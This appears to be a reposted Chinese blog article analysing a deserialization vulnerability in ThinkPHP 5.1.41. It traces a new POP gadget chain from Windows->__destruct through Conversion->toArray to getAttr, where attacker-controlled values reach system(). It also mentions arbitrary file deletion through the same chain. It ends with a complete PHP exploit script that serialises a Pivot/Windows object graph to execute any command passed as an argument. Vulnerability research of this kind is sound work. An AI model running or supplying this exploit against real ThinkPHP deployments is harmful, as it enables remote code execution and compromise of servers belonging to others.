您好,登錄后才能下訂單哦!
Thinkphp v5.1.41反序列化漏洞的分析及EXP,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
# Author: 4ut15m # Date: 2021年4月11日 22:45:46 # Version: thinkphp v5.1.41LTS # Install: composer create-project topthink/think tp5141 5.1.41 --prefer-dist
晚上回顧tp以前反序列化漏洞的時候發現的,好像是一條新的POP鏈,沒有在網上看見其他師傅發表這條鏈
Windows->__destruct -->Windows->removeFiles -->Conversion->__toString -->Conversion->toJson -->Conversion->toArray -->Attribute->getAttr Conversion->Model Model->Pivot
先看命令執行處,若$closure
、$value
都可控,即可執行命令
POP鏈首和tp5.0反序列化漏洞起點一樣,Windows->__destruct
Windows->removeFiles,控制Windows->files可以刪除任意文件。
file_exists函數可觸發__toString魔術方法,找到Conversion的toString
跟進Conversion->toArray,$this->append
可控
跟進getRelation,使得該方法返回null即可進入if
跟進getAttr,發現關鍵點
要使代碼執行到493行,需要設置$this->withAttr[$fileName]
.$closure
由$this->withAttr[$fileName]
控制,$this->withAttr
可控,$fileName
由我們參數$name
即我們傳入的$this->append
的key控制,也是可控的。
value由getData得到
代碼第269行,如果$this->data
中存在$name
鍵,就將$this->data[$name]
的值賦給value,$this->data與$name皆可控,故value可控
整理思路如下
Conversion->append = ["4ut15m"=>[]] Conversion->relation = false Conversion->withAttr = ["4ut15m"=>"system"] Conversion->data = ["4ut15m"=>"cmd"] //要執行的命令
因為convertion是trait類,所以只要找到一個使用了conversion的類即可,全局搜索conversion找到Model類
由于Model是抽象類,我們得找到Model的實現類,全局搜索找到Pivot
至此可以編寫exp
Windows->files = new Pivot() Pivot->relation = false Pivot->data = ["4ut15m"=>"cmd"] //要執行的命令 Pivot->withAttr = ["4ut15m"=>"system"]
<?php namespace think; abstract class Model{ private $data = []; private $withAttr = []; protected $append = ['4ut15m'=>[]]; public function __construct($cmd){ $this->relation = false; $this->data = ['4ut15m'=>$cmd]; //任意值,value $this->withAttr = ['4ut15m'=>'system']; } } namespace think\model; use think\Model; class Pivot extends Model{ } namespace think\process\pipes; use think\model\Pivot; class Windows{ private $files = []; public function __construct($cmd){ $this->files = [new Pivot($cmd)]; //Conversion類 } } $windows = new Windows($argv[1]); echo urlencode(serialize($windows))."\n"; ?>
在tp中加一個反序列化點
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。